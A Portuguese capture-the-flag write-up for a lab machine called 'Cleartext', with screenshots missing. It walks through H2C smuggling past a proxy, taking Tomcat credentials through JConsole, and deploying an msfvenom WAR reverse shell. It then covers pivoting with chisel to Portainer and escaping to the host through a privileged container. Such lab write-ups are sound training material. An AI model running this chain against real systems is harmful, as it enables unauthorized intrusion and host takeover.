Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up cleartext
Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas.
Então, vamos usar uma ferramenta chamada nmap.
Ports:
Porta 22 - SSH
Write-Up - Cleartext 1
Site:
Após navegar pelo o menu do site, temos algo interessante em intranet, mas não temos permissão para
acessar → 403
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Write-Up - Cleartext 2
Connection: Upgrade, HTTP2-Settings
Então onde está o erro? Ao atualizar uma conexão, o proxy reverso geralmente para de lidar com
solicitações individuais , supondo que, uma vez que a conexão tenha sido estabelecida, seu trabalho de
roteamento esteja concluído. Usando H2C Smuggling, podemos ignorar as regras que um proxy reverso
usa ao processar solicitações como roteamento baseado em caminho, autenticação ou processamento
WAF, desde que possamos estabelecer uma conexão H2C primeiro.
https://github.com/BishopFox/h2csmuggler.git
Exploração:
Depois de identificar um ponto de extremidade afetado que pode ser usado para encapsulamento, agora
podemos acessar ou forçar pontos de extremidade internos no servidor de back-end e fornecer verbos ou
cabeçalhos personalizados. Demonstrarei o acesso a /intranet endpoint interno usando o contrabando de
h2c para ignorar as regras de negação de proxy.
O cabeçalho de solicitação de autorização HTTP pode ser usado para fornecer credenciais que
autenticam um agente de usuário com um servidor, permitindo acesso a um recurso protegido.
Agora iremos interceptar a requisição com o burp suite e adicionaremos nosso Authorization header .
Mas para isso temos que sempre manter o Authorization header para poder navegar no website,
Write-Up - Cleartext 3
Após interceptar a requisição, iremos em options → Match and Replace
Write-Up - Cleartext 4
Mas temos que manter o proxy ativado no navegador.
Write-Up - Cleartext 5
Após tentar acessar com as credencias default do tomcat não obtive sucesso =(
O JConsole é uma ferramenta de monitoramento gráfico para monitorar Java Virtual Machine e aplicativos
Java em uma máquina local ou remota.
Write-Up - Cleartext 6
Em Mbeans, podemos pegar as credenciais do tomcat em Users → User → tomcat → UserDatabase →
Attributes
Write-Up - Cleartext 7
Após ter acesso ao manager, podemos fazer deploy de uma reverse shell → .war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Write-Up - Cleartext 8
Ouvinte do netcat para receber a conexão:
Write-Up - Cleartext 9
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Enter
export TERM=xterm
Write-Up - Cleartext 10
Como podemos ver estamos em um docker, após fazer algumas enumerações, passo pra outra
abordagem, fazer um scan com nmap para encontrar possíveis novos hosts na rede.
Então iremos usar o nmap estático:
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
Ping sweep
Write-Up - Cleartext 11
No host 172.18.0.2 temos algo interessante → Portainer
O Portainer é uma plataforma centralizada de entrega de serviços para aplicativos em contêiner. Ele
ajuda a acelerar a adoção de contêineres e reduzir o tempo de retorno no Kubernetes e Docker com
um portal de gerenciamento de autoatendimento inteligente, permitindo que você forneça
aplicativos em contêineres do data center até a borda.
Por padrão o Portainer Server irá expor a interface do usuário pela porta 9443.
Podemos tirar prova disso.
Pivoting
Sabendo que a porta está aberta, agora podemos jogar a conexão dessa porta para a nossa máquina,
assim iremos conseguir acessar a interface do Portainer pelo o nosso navegador.
https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
Write-Up - Cleartext 12
Com o chisel no servidor, iremos executar os seguintes comandos:
Write-Up - Cleartext 13
Com isso podemos acessar a interface do Portainer pelo o nosso navegador.
Write-Up - Cleartext 14
Após estar logado, podemos ir em Home → local → Containers
Como podemos ver o container ct_app_1 está rodando toda a aplicação que ownamos → host 172.18.0.5
Write-Up - Cleartext 15
O privilege escalation acontecerá da seguinte forma, iremos subir outro container com essa imagem
ct_app_1 , só que iremos configurar esse novo container com privileged true, para que assim possamos
Let’s go
Add container
Write-Up - Cleartext 16
Deploy
Write-Up - Cleartext 17
Connect
E temos o terminal
Agora basta executar os seguintes comandos abaixo para montar o disco do host em /mnt:
df -h
Write-Up - Cleartext 18
Agora podemos entrar no diretório /mnt/root e ler a última flag
Write-Up - Cleartext 19